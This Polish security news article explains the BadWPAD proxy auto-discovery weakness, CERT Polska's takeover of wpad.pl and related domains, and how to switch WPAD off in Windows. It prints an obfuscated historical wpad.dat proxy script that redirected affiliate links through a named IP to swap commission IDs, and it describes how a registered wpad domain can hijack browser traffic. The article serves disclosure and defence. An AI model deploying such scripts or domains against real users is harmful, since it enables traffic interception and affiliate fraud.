Jak pewien Polak mógł latami przejmować ruch milionów komputerów

CERT Polska pochwalił się niedawno przejęciem domeny wpad.pl. Dlaczego to takie ważne? Kto i po co 10 lat temu zarejestrował tę i wiele podobnych domen? Jak dzisiaj można wykorzystać podatność sprzed 20 lat? Dowiecie się z tego artykułu.

O atakach w stylu BadWPAD możemy mówić od 1999 r., kiedy to Microsoft, idąc z duchem czasu, wprowadził obsługę protokołu WPAD do przeglądarki Internet Explorer 5.0. Mechanizm pozwalający na automatyczne wykrywanie i konfigurację serwera proxy – czyli Web Proxy Auto-Discovery Protocol – nie był wynalazkiem Microsoftu. Pamiętacie Netscape Navigatora, z którym konkurował kiedyś IE? WPAD został opracowany przez jego twórców – trzy lata wcześniej. Czy już wtedy był podatny na ataki, nie wiadomo. Pierwsze znane nam próby załatania tego protokołu podjęto, gdy trafił do IE.

WPAD – jak działa i dlaczego źle

Aby zrozumieć, co próbowano załatać, zobaczmy, jak w systemie Windows działa automatyczne wykrywanie proxy. Gdy wpisujemy adres strony, którą chcemy odwiedzić, wspierany przez przeglądarkę mechanizm WPAD zaczyna szukać w sieci hosta, na którym znajduje się plik konfiguracyjny wpad.dat. W pierwszej kolejności używa DHCP (ang. Dynamic Host Configuration Protocol), wysyłając żądanie DHCPInform z opcją 252 – w odpowiedzi może otrzymać adres URL potrzebnego pliku.

Jeśli to nie nastąpi, korzysta z innej metody, czyli wysyła zapytanie DNS typu A. Załóżmy, że pracujemy w korporacji, siedzimy w biurze i używamy komputera, który w firmowej sieci jest identyfikowany jako anna.biuro.warszawa.z3s.com.pl – w takim przypadku serwer DNS zostanie odpytany o domenę wpad.biuro.warszawa.z3s.com.pl. Jeśli taka domena istnieje, WPAD spróbuje pobrać i zinterpretować plik wpad.dat. A jeśli nie istnieje? Wtedy zacznie odcinać kolejne poziomy subdomen. Najpierw zapyta o wpad.warszawa.z3s.com.pl, jeśli i tej domeny nie znajdzie – sprawdzi wpad.z3s.com.pl. W tym miejscu przeszukiwanie powinno się zakończyć, prawda? Mamy tu .com.pl – domenę drugiego poziomu typu ccSLD (ang. country-code Second-Level Domain), czyli taką, która w połączeniu z domeną krajową pokazuje przeznaczenie danej strony. Dla przeciętnego użytkownika z Polski powinno być oczywiste, że wpad.com.pl może nie należeć do firmy z3s. Dla mechanizmu WPAD oczywiste nie było.

Ktoś się szybko połapał i w kolejnej wersji Internet Explorera lukę usunięto, określając ją jako WPAD Spoofing (nazwa BadWPAD pojawiła się znacznie później). Wektor ataku widać jak na dłoni – wystarczyło, by ktoś o niecnych zamiarach zarejestrował odpowiednią domenę i umieścił w pliku wpad.dat własne reguły konfiguracji proxy. Automatyczne pobranie tego pliku przez podatne przeglądarki mogło skutkować przekierowaniem nieświadomych użytkowników na wskazany przez atakującego serwer.

Czy przygotowanie pliku wpad.dat wymaga zaawansowanej wiedzy technicznej? Nie, choć przyda się podstawowa znajomość JavaScriptu. Chodzi o prosty do napisania skrypt, który zgodnie ze standardem PAC (ang. Proxy Auto-Configuration) będzie zawierał definicję funkcji FindProxyForURL(url, host). Zwracany przez nią ciąg znaków będzie informował przeglądarkę, jak ma obsługiwać konkretne zapytania – przez proxy czy bezpośrednio. Zobaczcie zresztą poniższy przykład:

function FindProxyForURL(url, host) {
  // w przypadku zgodności adresu z poniższym łącz się bezpośrednio
  if (shExpMatch(host, "*.z3s.com.pl"))  
      return "DIRECT";
  // w przypadku użycia FTP lub adresu ze wskazanej podsieci
  // łącz się przez port 8080 serwera proxy.z3s.com.pl
  if (url.substring(0, 4)=="ftp:" ||
      isInNet(myIpAddress(), "10.0.0.0", "255.255.255.0"))
      return "PROXY proxy.z3s.com.pl:8080";
  // w innych przypadkach łącz się przez port 80 serwera 1.2.3.4
  // a jeśli się nie da - to bezpośrednio
  return "PROXY 1.2.3.4:80; DIRECT";
}

Spytacie, w czym tkwi problem, skoro lukę załatano jeszcze w 1999 r. Cóż, załatano ją nie w samym protokole WPAD, tylko w jednej z jego implementacji, w dodatku nie ujawniając zbyt wielu szczegółów technicznych. Gdy standard się upowszechnił, problem powrócił. W 2009 r. Microsoft opublikował kolejną poprawkę, skupiając się na mechanizmie DNS Devolution, który w oparciu o nazwę domenową komputera generował listę sufiksów DNS używaną przy każdej próbie zlokalizowania serwera WPAD. Jak się pewnie domyślacie, w tym przypadku również przy braku danego serwera w sieci wewnętrznej odpytywany był adres wpad.com.pl.

Problem rozwiązano, ale – ponownie – tylko w określonych implementacjach omawianego mechanizmu (dokładniej mówiąc, we wszystkich wersjach systemu starszych niż Windows 7). Tymczasem protokół, stworzony ponad 20 lat temu na potrzeby Netscape Navigatora, jest używany do dziś. Mało tego, w systemie Windows – również w najnowszej „dziesiątce” – pozostaje domyślnie włączony i jest wspierany przez większość popularnych przeglądarek, m.in. Chrome’a, Firefoksa i Safari. No i dalej nie działa tak jak trzeba, co udowodnił Maxim Goncharov z Trend Micro podczas konferencji Black Hat 2016 – to w jego prezentacji pojawiło się określenie BadWPAD (możecie też zajrzeć do wydanego później raportu). Warto zauważyć, że zgodnie z dostępną dokumentacją WPAD może odpytywać DNS maksymalnie do domeny drugiego poziomu – weźmy jako przykład z3s.pl. Z eksperymentów Goncharova wynika, że przeszukiwanie sieci nie musi kończyć się w tym miejscu – po nieudanym rozwiązaniu nazwy wpad.z3s.pl wadliwy mechanizm może wysłać zapytanie o wpad.pl (stąd obecność podobnych domen w prezentacji). Badania wykazały, że z Polski może pochodzić 6% zapytań WPAD kierowanych na publiczne serwery DNS, wyprzedzają nas pod tym względem tylko Stany Zjednoczone (27%) i Kanada (10%).

Tajemniczy projekt z domeną wpad.pl na czele

Artykuł zaczęliśmy od informacji o przejęciu przez CERT Polska domeny wpad.pl. Wiecie już, jak taką i podobne domeny mogą wykorzystać atakujący. Ustalmy więc, czy ktoś się o to faktycznie pokusił. Na prawdopodobne ślady użycia polskich domen w atakach typu BadWPAD ponad dwa miesiące temu natrafił Adam Ziaja z firmy Red Team, a prowadzony przez niego blog wzbogacił się o szereg interesujących wpisów na ten temat: [1], [2], [3], [4].

Okazało się, że domena wpad.pl oraz kilkanaście domen funkcjonalnych i regionalnych, utworzonych według schematu wpad.*.pl, zostało już zarejestrowanych. Wszystkie były przyporządkowane do tego samego adresu IP (144.76.184.43) i serwowały odpytującym je mechanizmom plik wpad.dat o następującej treści:

// WPADblock - monitoring and protecting leaking WPAD.* traffic since 2007.
// Your computer SHOULD NOT be downloading this file. Please fix your network configuration.
// Read more at https://www.wpadblock.com

function FindProxyForURL(url, host) {
    // Use proxy for wpadblocking.com and wpadleaking.com domains
    if(/http:\/\/[.wpad]{4}([block]|[leak])+ing.com/.test(url)) { 
       return "PROXY 144.76.184.43:80; DIRECT"; }
    // Use direct for everything else
    return "DIRECT";
}

Plik nie wygląda na złośliwy – choć warto pamiętać, że wysyłający go serwer mógł dobierać treść w zależności od adresu IP, który o niego zapyta. Badacz z Red Teamu na tym nie poprzestał i przeszukał także Web Archive pod kątem wcześniejszych wersji tego pliku – odkrył m.in. poniższą, udostępnianą w latach 2015-2016. Analiza zaciemnionego kodu wykazała, że zawarte w nim reguły służyły do przechwytywania linków z różnych programów partnerskich w celu ich modyfikacji, co pozwalało atakującym zarabiać na podmianie identyfikatora podmiotu, który ma otrzymać prowizję.

// WpadBlock.com project
// Testing regular expressions
function FindProxyForURL(url, host) {
  if ((shExpMatch(url, "*//s?clic??a*pres?.c*/e/*") &&
       !shExpMatch(url, "*aQNVZ?AU*")) ||
      (shExpMatch(url, "*:/?e?or?.?w/*") && !shExpMatch(url, "*OZ?2?*")) ||
      (shExpMatch(url, "*t*p:*sh*u*.t*te*eg*st*r") &&
       !shExpMatch(url, "*new*") && !shExpMatch(url, "*ac*ru*s*")) ||
      (shExpMatch(url, "h?t*/*w.b?*k?ng.c*m/*aid*") &&
       !shExpMatch(url, "*3646?2*") && !shExpMatch(url, "*/aclk*") &&
       !shExpMatch(url, "*noredir*") && !shExpMatch(url, "*gclid*")) ||
      ((shExpMatch(url, "*ttp:/*w?pl*s5?0.*/") ||
        shExpMatch(url, "ht*w?pl*s5?0.*/*id=*"))) ||
      (shExpMatch(url, "*w?ce?*o.p?/C*ent*js*bun*e/b*/js*")) ||
      (shExpMatch(url, "*t*ff?l*.be*-*-ho*.c*/p*ss*/*.as*bta*a_*") &&
       !shExpMatch(url, "*a_7?59?b*")) ||
      (shExpMatch(url, "*.?rs?c?m/??/") || shExpMatch(url, "*.?rs?d??we?3/") ||
       shExpMatch(url, "*.?rs?c?m/we?3/") ||
       (shExpMatch(url, "*.hr??*hot*?do*off*") &&
        !shExpMatch(url, "*10?35?2?39*"))) ||
      (shExpMatch(url, "*tt*/g?.s*le?m*i?.p?/*_*=*") &&
       !shExpMatch(url, "*d=1?90*")) ||
      (shExpMatch(url, "*p://af?.?pti*ar?.c??/*") &&
       !shExpMatch(url, "*8?67*")) ||
      (shExpMatch(url, "*p:*/w*.co?p*ial?a*ann?r*p*ef*") &&
       !shExpMatch(url, "*75?6*6*")))
    return "PROXY 144.76.184.43:80";
  return "DIRECT";
}

Istnieje kilka możliwych scenariuszy złośliwego użycia mechanizmu WPAD. Ataki MITM (ang. Man-in-the-Middle), polegające na przechwytywaniu i modyfikacji przesyłanych danych, należą do najbardziej niebezpiecznych. W omawianym przypadku wielkich szkód nie spowodowały – pod warunkiem jednak, że w całym okresie od zarejestrowania do teraz interesujące nas domeny serwowały tylko takie pliki jak powyżej. Czy tak było, gwarancji nie mamy.

Kiedy i kto te domeny zarejestrował? W obu plikach wpad.dat znajdziemy informację o projekcie WPADblock, realizowanym rzekomo od 2007 r. Jego celem ma być zapobieganie złośliwemu wykorzystaniu domen wpad.* – nie tylko w strefie .pl, w ramach projektu zarejestrowano bowiem w sumie 63 różne domeny, zarówno krajowe, jak i funkcjonalne, w tym np. wpad.info, wpad.tv czy wpad.xxx. Jak ustalił Adam Ziaja, za wszystkim stoi prywatna firma z Warszawy – Q R Media Sp. z o.o. – zarządzana przez Tomasza Koperskiego, który okazał się współautorem artykułu pt. Filtracja ruchu sieciowego przy wykorzystaniu protokołu WPAD oraz skryptów automatycznej konfiguracji serwera Proxy, zamieszczonego w 2009 r. w czasopiśmie „Metody Informatyki Stosowanej”. Sama firma figuruje w Krajowym Rejestrze Sądowym od maja 2011 r. (KRS: 0000386027). Utrzymanie tak dużej liczby domen przez ponad 10 lat musiało sporo kosztować, stąd rzekomo (wątpliwe etycznie) próby przekierowywania linków z popularnych programów afiliacyjnych. Sam Tomasz Koperski w 2009 r. informował, że tylko jedna z kilkudziesięciu kontrolowanych przez niego domen otrzymywała ruch z 5 mln komputerów miesięcznie. Po konfrontacji z Red Teamem inicjator projektu zdecydował się na dobrowolne przekazanie domen wpad.*.pl pod kontrolę NASK-u (czyli krajowego rejestratora domen). Na stronie wpadblock.com pojawiła się stosowna informacja na ten temat, a statystyki oparte na logach serwera używanego przez Q R Media zostały przekazane ekspertom – można się z nimi zapoznać na blogu Red Teamu.

NASK bezterminowo zarejestrował zbiór domen regionalnych i funkcjonalnych typu wpad.*.pl, a CERT Polska przekierował je (wraz z tymi, które przejął od Q R Media) na sinkhole pod adresem IP 148.81.111.104, co pozwoliło oszacować skalę zagrożenia. W poświęconym temu artykule można przeczytać, że w okresie 15.05 – 22.05 badacze odnotowali 6,5 mln żądań HTTP z około 40 tys. unikalnych adresów. Najwięcej pochodziło z takich ASN-ów (systemów autonomicznych) jak UPC, Netia, Multimedia i Orange. Wśród nazw domenowych widać było wyraźną przewagę zapytań kierowanych do wpad.pl. Podobne działania jak CERT Polska przeprowadziły także analogiczne zespoły z innych krajów.

Dlaczego dopiero teraz

Jak to możliwe, że atak podstawienia pliku WPAD trwał kilkanaście lat i nikt nie zwrócił na niego uwagi? Okazuje się, że zwrócono na niego uwagę, tylko nikt nie podjął dalszych działań. Pewni Włosi już w 2009 r. opisali atak polegający na złośliwych modyfikacjach linków afiliacyjnych w plikach WPAD i zidentyfikowali stojącego za nimi obywatela Polski. Trzeba było jednak 10 lat i determinacji Adama z Red Teamu, by przypomnieć o problemie i zachęcić odpowiednie instytucje do uporządkowania tej sytuacji.

Jak wyłączyć WPAD na swoim komputerze

Skupiliśmy się w artykule tylko na jednym sposobie złośliwego wykorzystania mechanizmu WPAD, ale jest ich zdecydowanie więcej. Atak oparty na wykrywaniu proxy przez DNS można przeprowadzić na poziomie lokalnym – wystarczy odpowiednio zmienić nazwę jednego z hostów. Dalszy przebieg ataku może być tożsamy z opisanym wyżej.

Pojawiały się też pomysły dotyczące przechwytywania ruchu HTTP w sieci lokalnej przy użyciu protokołu NetBIOS – jeśli bowiem próby zlokalizowania proxy przez DHCP i DNS zawodzą, nazwa „wpad” jest rozwiązywana przez NetBIOS. Jakby tego było mało, w 2017 r. Google Project Zero poinformował o odkryciu podatności, której nadał nazwę aPAColypse. Zaprezentowany wówczas exploit – wykorzystujący plik w standardzie PAC – pozwalał na zdalne wykonanie kodu z najwyższymi możliwymi uprawnieniami.

Doświadczenie dowodzi, że szans na efektywne załatanie mechanizmu WPAD raczej nie ma. Warto więc zadbać o jego wyłączenie, zwłaszcza na komputerach przenośnych i domowych. Aby to zrobić w systemie Windows, należy wcisnąć kombinację klawiszy Win+R, wpisać inetcpl.cpl i kliknąć przycisk OK. W nowo otwartym oknie przechodzimy do zakładki Połączenia i wybieramy Ustawienia sieci LAN. W kolejnym oknie sprawdzamy, czy opcja Automatycznie wykryj ustawienia jest zaznaczona. Jeśli tak, to usuwamy zaznaczenie i potwierdzamy to, klikając przycisk OK.

Jak słusznie zauważył jeden z naszych Czytelników, operację tę należy powtórzyć na każdym używanym koncie w systemie Windows – nie wystarczy usunąć zaznaczenie na koncie administratora.

Zdarzają się oczywiście przypadki, gdy ktoś musi używać mechanizmu WPAD, np. w pracy. Warto w takiej sytuacji skorzystać z opcji Użyj skryptu automatycznej konfiguracji i ustawić statyczny adres serwera. Wszelkie wątpliwości, np. gdyby się okazało, że w polu Adres znajduje się nieznany adres URL, należy zgłaszać administratorowi sieci.

Aktualizacja: Tak, Avast nadal nie potrafi odróżnić złośliwego kodu wykonywanego na danej stronie od złośliwego kodu na niej pokazywanego. Inne AV się nauczyły, Avast jakoś nie potrafi. To fałszywe ostrzeżenie.